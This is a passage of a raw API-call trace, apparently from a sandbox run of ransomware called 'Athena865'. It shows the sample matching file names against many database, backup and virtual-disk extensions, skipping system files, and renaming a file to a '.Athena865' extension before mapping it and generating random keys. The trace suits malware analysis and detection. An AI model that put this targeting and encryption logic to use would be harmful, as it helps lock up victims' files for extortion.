(lpString1="}.TM.blf", lpString2="daschema") returned -1 [0035.841] lstrlenW (lpString="db-journal") returned 10 [0035.841] lstrcmpiW (lpString1="ec}.TM.blf", lpString2="db-journal") returned 1 [0035.841] lstrlenW (lpString="db-shm") returned 6 [0035.841] lstrcmpiW (lpString1="TM.blf", lpString2="db-shm") returned 1 [0035.841] lstrlenW (lpString="db-wal") returned 6 [0035.841] lstrcmpiW (lpString1="TM.blf", lpString2="db-wal") returned 1 [0035.841] lstrlenW (lpString="dbc") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="dbc") returned -1 [0035.841] lstrlenW (lpString="dbs") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="dbs") returned -1 [0035.841] lstrlenW (lpString="dbt") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="dbt") returned -1 [0035.841] lstrlenW (lpString="dbv") returned 3 [0035.841] lstrcmpiW (lpString1="blf", lpString2="dbv") returned -1 [0035.841] lstrlenW (lpString="dbx") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dbx") returned -1 [0035.842] lstrlenW (lpString="dcb") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dcb") returned -1 [0035.842] lstrlenW (lpString="dct") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dct") returned -1 [0035.842] lstrlenW (lpString="dcx") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dcx") returned -1 [0035.842] lstrlenW (lpString="ddl") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="ddl") returned -1 [0035.842] lstrlenW (lpString="dlis") returned 4 [0035.842] lstrcmpiW (lpString1=".blf", lpString2="dlis") returned -1 [0035.842] lstrlenW (lpString="dp1") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dp1") returned -1 [0035.842] lstrlenW (lpString="dqy") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dqy") returned -1 [0035.842] lstrlenW (lpString="dsk") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dsk") returned -1 [0035.842] lstrlenW (lpString="dsn") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dsn") returned -1 [0035.842] lstrlenW (lpString="dtsx") returned 4 [0035.842] lstrcmpiW (lpString1=".blf", lpString2="dtsx") returned -1 [0035.842] lstrlenW (lpString="dxl") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="dxl") returned -1 [0035.842] lstrlenW (lpString="eco") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="eco") returned -1 [0035.842] lstrlenW (lpString="ecx") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="ecx") returned -1 [0035.842] lstrlenW (lpString="edb") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="edb") returned -1 [0035.842] lstrlenW (lpString="epim") returned 4 [0035.842] lstrcmpiW (lpString1=".blf", lpString2="epim") returned -1 [0035.842] lstrlenW (lpString="fcd") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="fcd") returned -1 [0035.842] lstrlenW (lpString="fdb") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="fdb") returned -1 [0035.842] lstrlenW (lpString="fic") returned 3 [0035.842] lstrcmpiW (lpString1="blf", lpString2="fic") returned -1 [0035.843] lstrlenW (lpString="flexolibrary") returned 12 [0035.843] lstrcmpiW (lpString1="e3ec}.TM.blf", lpString2="flexolibrary") returned -1 [0035.843] lstrlenW (lpString="fm5") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fm5") returned -1 [0035.843] lstrlenW (lpString="fmp") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fmp") returned -1 [0035.843] lstrlenW (lpString="fmp12") returned 5 [0035.843] lstrcmpiW (lpString1="M.blf", lpString2="fmp12") returned 1 [0035.843] lstrlenW (lpString="fmpsl") returned 5 [0035.843] lstrcmpiW (lpString1="M.blf", lpString2="fmpsl") returned 1 [0035.843] lstrlenW (lpString="fol") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fol") returned -1 [0035.843] lstrlenW (lpString="fp3") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fp3") returned -1 [0035.843] lstrlenW (lpString="fp4") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fp4") returned -1 [0035.843] lstrlenW (lpString="fp5") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fp5") returned -1 [0035.843] lstrlenW (lpString="fp7") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fp7") returned -1 [0035.843] lstrlenW (lpString="fpt") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="fpt") returned -1 [0035.843] lstrlenW (lpString="frm") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="frm") returned -1 [0035.843] lstrlenW (lpString="gdb") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="gdb") returned -1 [0035.843] lstrlenW (lpString="gdb") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="gdb") returned -1 [0035.843] lstrlenW (lpString="grdb") returned 4 [0035.843] lstrcmpiW (lpString1=".blf", lpString2="grdb") returned -1 [0035.843] lstrlenW (lpString="gwi") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="gwi") returned -1 [0035.843] lstrlenW (lpString="hdb") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="hdb") returned -1 [0035.843] lstrlenW (lpString="his") returned 3 [0035.843] lstrcmpiW (lpString1="blf", lpString2="his") returned -1 [0035.843] lstrlenW (lpString="ib") returned 2 [0035.844] lstrcmpiW (lpString1="lf", lpString2="ib") returned 1 [0035.844] lstrlenW (lpString="idb") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="idb") returned -1 [0035.844] lstrlenW (lpString="ihx") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="ihx") returned -1 [0035.844] lstrlenW (lpString="itdb") returned 4 [0035.844] lstrcmpiW (lpString1=".blf", lpString2="itdb") returned -1 [0035.844] lstrlenW (lpString="itw") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="itw") returned -1 [0035.844] lstrlenW (lpString="jet") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="jet") returned -1 [0035.844] lstrlenW (lpString="jtx") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="jtx") returned -1 [0035.844] lstrlenW (lpString="kdb") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="kdb") returned -1 [0035.844] lstrlenW (lpString="kexi") returned 4 [0035.844] lstrcmpiW (lpString1=".blf", lpString2="kexi") returned -1 [0035.844] lstrlenW (lpString="kexic") returned 5 [0035.844] lstrcmpiW (lpString1="M.blf", lpString2="kexic") returned 1 [0035.844] lstrlenW (lpString="kexis") returned 5 [0035.844] lstrcmpiW (lpString1="M.blf", lpString2="kexis") returned 1 [0035.844] lstrlenW (lpString="lgc") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="lgc") returned -1 [0035.844] lstrlenW (lpString="lwx") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="lwx") returned -1 [0035.844] lstrlenW (lpString="maf") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="maf") returned -1 [0035.844] lstrlenW (lpString="maq") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="maq") returned -1 [0035.844] lstrlenW (lpString="mar") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="mar") returned -1 [0035.844] lstrlenW (lpString="marshal") returned 7 [0035.844] lstrcmpiW (lpString1=".TM.blf", lpString2="marshal") returned -1 [0035.844] lstrlenW (lpString="mas") returned 3 [0035.844] lstrcmpiW (lpString1="blf", lpString2="mas") returned -1 [0035.845] lstrlenW (lpString="mav") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mav") returned -1 [0035.845] lstrlenW (lpString="maw") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="maw") returned -1 [0035.845] lstrlenW (lpString="mdbhtml") returned 7 [0035.845] lstrcmpiW (lpString1=".TM.blf", lpString2="mdbhtml") returned -1 [0035.845] lstrlenW (lpString="mdn") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mdn") returned -1 [0035.845] lstrlenW (lpString="mdt") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mdt") returned -1 [0035.845] lstrlenW (lpString="mfd") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mfd") returned -1 [0035.845] lstrlenW (lpString="mpd") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mpd") returned -1 [0035.845] lstrlenW (lpString="mrg") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mrg") returned -1 [0035.845] lstrlenW (lpString="mud") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mud") returned -1 [0035.845] lstrlenW (lpString="mwb") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="mwb") returned -1 [0035.845] lstrlenW (lpString="myd") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="myd") returned -1 [0035.845] lstrlenW (lpString="ndf") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="ndf") returned -1 [0035.845] lstrlenW (lpString="nnt") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="nnt") returned -1 [0035.845] lstrlenW (lpString="nrmlib") returned 6 [0035.845] lstrcmpiW (lpString1="TM.blf", lpString2="nrmlib") returned 1 [0035.845] lstrlenW (lpString="ns2") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="ns2") returned -1 [0035.845] lstrlenW (lpString="ns3") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="ns3") returned -1 [0035.845] lstrlenW (lpString="ns4") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="ns4") returned -1 [0035.845] lstrlenW (lpString="nsf") returned 3 [0035.845] lstrcmpiW (lpString1="blf", lpString2="nsf") returned -1 [0035.846] lstrlenW (lpString="nv") returned 2 [0035.846] lstrcmpiW (lpString1="lf", lpString2="nv") returned -1 [0035.846] lstrlenW (lpString="nv2") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="nv2") returned -1 [0035.846] lstrlenW (lpString="nwdb") returned 4 [0035.846] lstrcmpiW (lpString1=".blf", lpString2="nwdb") returned -1 [0035.846] lstrlenW (lpString="nyf") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="nyf") returned -1 [0035.846] lstrlenW (lpString="odb") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="odb") returned -1 [0035.846] lstrlenW (lpString="odb") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="odb") returned -1 [0035.846] lstrlenW (lpString="oqy") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="oqy") returned -1 [0035.846] lstrlenW (lpString="ora") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="ora") returned -1 [0035.846] lstrlenW (lpString="orx") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="orx") returned -1 [0035.846] lstrlenW (lpString="owc") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="owc") returned -1 [0035.846] lstrlenW (lpString="p96") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="p96") returned -1 [0035.846] lstrlenW (lpString="p97") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="p97") returned -1 [0035.846] lstrlenW (lpString="pan") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="pan") returned -1 [0035.846] lstrlenW (lpString="pdb") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="pdb") returned -1 [0035.846] lstrlenW (lpString="pdm") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="pdm") returned -1 [0035.846] lstrlenW (lpString="pnz") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="pnz") returned -1 [0035.846] lstrlenW (lpString="qry") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="qry") returned -1 [0035.846] lstrlenW (lpString="qvd") returned 3 [0035.846] lstrcmpiW (lpString1="blf", lpString2="qvd") returned -1 [0035.847] lstrlenW (lpString="rbf") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="rbf") returned -1 [0035.847] lstrlenW (lpString="rctd") returned 4 [0035.847] lstrcmpiW (lpString1=".blf", lpString2="rctd") returned -1 [0035.847] lstrlenW (lpString="rod") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="rod") returned -1 [0035.847] lstrlenW (lpString="rodx") returned 4 [0035.847] lstrcmpiW (lpString1=".blf", lpString2="rodx") returned -1 [0035.847] lstrlenW (lpString="rpd") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="rpd") returned -1 [0035.847] lstrlenW (lpString="rsd") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="rsd") returned -1 [0035.847] lstrlenW (lpString="sas7bdat") returned 8 [0035.847] lstrcmpiW (lpString1="}.TM.blf", lpString2="sas7bdat") returned -1 [0035.847] lstrlenW (lpString="sbf") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="sbf") returned -1 [0035.847] lstrlenW (lpString="scx") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="scx") returned -1 [0035.847] lstrlenW (lpString="sdb") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="sdb") returned -1 [0035.847] lstrlenW (lpString="sdc") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="sdc") returned -1 [0035.847] lstrlenW (lpString="sdf") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="sdf") returned -1 [0035.847] lstrlenW (lpString="sis") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="sis") returned -1 [0035.847] lstrlenW (lpString="spq") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="spq") returned -1 [0035.847] lstrlenW (lpString="te") returned 2 [0035.847] lstrcmpiW (lpString1="lf", lpString2="te") returned -1 [0035.847] lstrlenW (lpString="teacher") returned 7 [0035.847] lstrcmpiW (lpString1=".TM.blf", lpString2="teacher") returned -1 [0035.847] lstrlenW (lpString="tmd") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="tmd") returned -1 [0035.847] lstrlenW (lpString="tps") returned 3 [0035.847] lstrcmpiW (lpString1="blf", lpString2="tps") returned -1 [0035.847] lstrlenW (lpString="trc") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="trc") returned -1 [0035.848] lstrlenW (lpString="trc") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="trc") returned -1 [0035.848] lstrlenW (lpString="trm") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="trm") returned -1 [0035.848] lstrlenW (lpString="udb") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="udb") returned -1 [0035.848] lstrlenW (lpString="udl") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="udl") returned -1 [0035.848] lstrlenW (lpString="usr") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="usr") returned -1 [0035.848] lstrlenW (lpString="v12") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="v12") returned -1 [0035.848] lstrlenW (lpString="vis") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="vis") returned -1 [0035.848] lstrlenW (lpString="vpd") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="vpd") returned -1 [0035.848] lstrlenW (lpString="vvv") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="vvv") returned -1 [0035.848] lstrlenW (lpString="wdb") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="wdb") returned -1 [0035.848] lstrlenW (lpString="wmdb") returned 4 [0035.848] lstrcmpiW (lpString1=".blf", lpString2="wmdb") returned -1 [0035.848] lstrlenW (lpString="wrk") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="wrk") returned -1 [0035.848] lstrlenW (lpString="xdb") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="xdb") returned -1 [0035.848] lstrlenW (lpString="xld") returned 3 [0035.848] lstrcmpiW (lpString1="blf", lpString2="xld") returned -1 [0035.848] lstrlenW (lpString="xmlff") returned 5 [0035.848] lstrcmpiW (lpString1="M.blf", lpString2="xmlff") returned -1 [0035.848] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned 99 [0035.848] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), lpNewFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.athena865"), dwFlags=0x1) returned 1 [0035.849] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" (normalized: "c:\\documents and settings\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0035.849] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=65536) returned 1 [0035.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0035.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52cfd0 [0035.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0035.850] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0035.850] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0035.850] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.851] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10300, lpName=0x0) returned 0x154 [0035.852] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10300) returned 0x100000 [0035.856] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0035.857] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0035.857] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0035.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0035.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0035.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0035.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0035.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0035.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52dfb8 [0035.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0035.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0035.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0035.858] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0035.858] CloseHandle (hObject=0x154) returned 1 [0035.858] CloseHandle (hObject=0x17c) returned 1 [0035.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cfd0 | out: hHeap=0x4f0000) returned 1 [0035.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0035.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0035.860] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="windows") returned -1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="bootmgr") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="temp") returned -1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="pagefile.sys") returned -1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="boot") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ids.txt") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat") returned 1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="perflogs") returned -1 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="MSBuild") returned 1 [0035.861] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0035.861] lstrcpyW (in: lpString1=0x241e88c, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0035.861] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0035.861] lstrlenW (lpString="Athena865") returned 9 [0035.861] lstrcmpiW (lpString1="gtrans-ms", lpString2="Athena865") returned 1 [0035.861] lstrlenW (lpString=".dll") returned 4 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".dll") returned 1 [0035.861] lstrlenW (lpString=".lnk") returned 4 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".lnk") returned 1 [0035.861] lstrlenW (lpString=".ini") returned 4 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".ini") returned 1 [0035.861] lstrlenW (lpString=".sys") returned 4 [0035.861] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".sys") returned 1 [0035.861] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0035.861] lstrlenW (lpString="bak") returned 3 [0035.861] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0035.861] lstrlenW (lpString="ba_") returned 3 [0035.861] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0035.861] lstrlenW (lpString="dbb") returned 3 [0035.861] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0035.861] lstrlenW (lpString="vmdk") returned 4 [0035.861] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0035.861] lstrlenW (lpString="rar") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0035.862] lstrlenW (lpString="zip") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0035.862] lstrlenW (lpString="tgz") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0035.862] lstrlenW (lpString="vbox") returned 4 [0035.862] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0035.862] lstrlenW (lpString="vdi") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0035.862] lstrlenW (lpString="vhd") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0035.862] lstrlenW (lpString="vhdx") returned 4 [0035.862] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0035.862] lstrlenW (lpString="avhd") returned 4 [0035.862] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0035.862] lstrlenW (lpString="db") returned 2 [0035.862] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0035.862] lstrlenW (lpString="db2") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0035.862] lstrlenW (lpString="db3") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0035.862] lstrlenW (lpString="dbf") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0035.862] lstrlenW (lpString="mdf") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0035.862] lstrlenW (lpString="mdb") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0035.862] lstrlenW (lpString="sql") returned 3 [0035.862] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0035.862] lstrlenW (lpString="sqlite") returned 6 [0035.862] lstrcmpiW (lpString1="ans-ms", lpString2="sqlite") returned -1 [0035.862] lstrlenW (lpString="sqlite3") returned 7 [0035.862] lstrcmpiW (lpString1="rans-ms", lpString2="sqlite3") returned -1 [0035.862] lstrlenW (lpString="sqlitedb") returned 8 [0035.862] lstrcmpiW (lpString1="trans-ms", lpString2="sqlitedb") returned 1 [0035.862] lstrlenW (lpString="xml") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0035.863] lstrlenW (lpString="$er") returned 3 [0035.863] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0035.863] lstrlenW 